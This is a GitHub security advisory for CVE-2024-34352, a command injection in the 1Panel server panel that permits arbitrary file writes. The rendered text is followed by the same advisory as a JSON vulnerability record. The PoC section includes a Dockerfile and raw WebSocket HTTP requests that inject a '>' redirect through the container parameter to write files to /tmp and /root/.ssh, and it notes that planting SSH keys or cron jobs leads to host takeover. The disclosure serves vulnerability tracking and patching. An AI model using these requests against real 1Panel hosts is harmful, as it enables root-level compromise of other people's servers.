ghsa-f8ch-w75v-c847
Vulnerability from github
Published
2024-05-09 15:14
Modified
2025-02-07 17:47
Severity ?
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Summary
1Panel arbitrary file write vulnerability
Details

Summary

There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol > to achieve arbitrary file writing

PoC

Dockerfile ``` FROM bash:latest

COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] echo.sh

!/usr/local/bin/bash

echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1 Host: xxxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1 Host: xxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== Or write a timed task to execute any command.

Impact

The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/1Panel-dev/1Panel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.3-lts"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-09T15:14:24Z",
    "nvd_published_at": "2024-05-14T15:38:43Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.\nWe can use the following mirror configuration write symbol `\u003e` to achieve arbitrary file writing\n\n### PoC\nDockerfile\n```\nFROM bash:latest\n\nCOPY echo.sh /usr/local/bin/echo.sh\nRUN chmod +x /usr/local/bin/echo.sh\nCMD [\"echo.sh\"]\n```\necho.sh\n```\n#!/usr/local/bin/bash\necho \"Hello, World!\"\n```\nBuild this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container\nSend the following packet, taking care to change the containerID to the malicious container we constructed\n\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1\u0026since=all\u0026tail=100\u0026follow=true HTTP/1.1\nHost: xxxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nThen you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1\u0026since=all\u0026tail=100\u0026follow=true HTTP/1.1\nHost: xxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nOr write a timed task to execute any command.\n### Impact\nThe ability to write arbitrary files on the host where the service is deployed can lead to a host takeover",
  "id": "GHSA-f8ch-w75v-c847",
  "modified": "2025-02-07T17:47:10Z",
  "published": "2024-05-09T15:14:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-f8ch-w75v-c847"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34352"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/1Panel-dev/1Panel"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-2830"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "1Panel arbitrary file write vulnerability"
}


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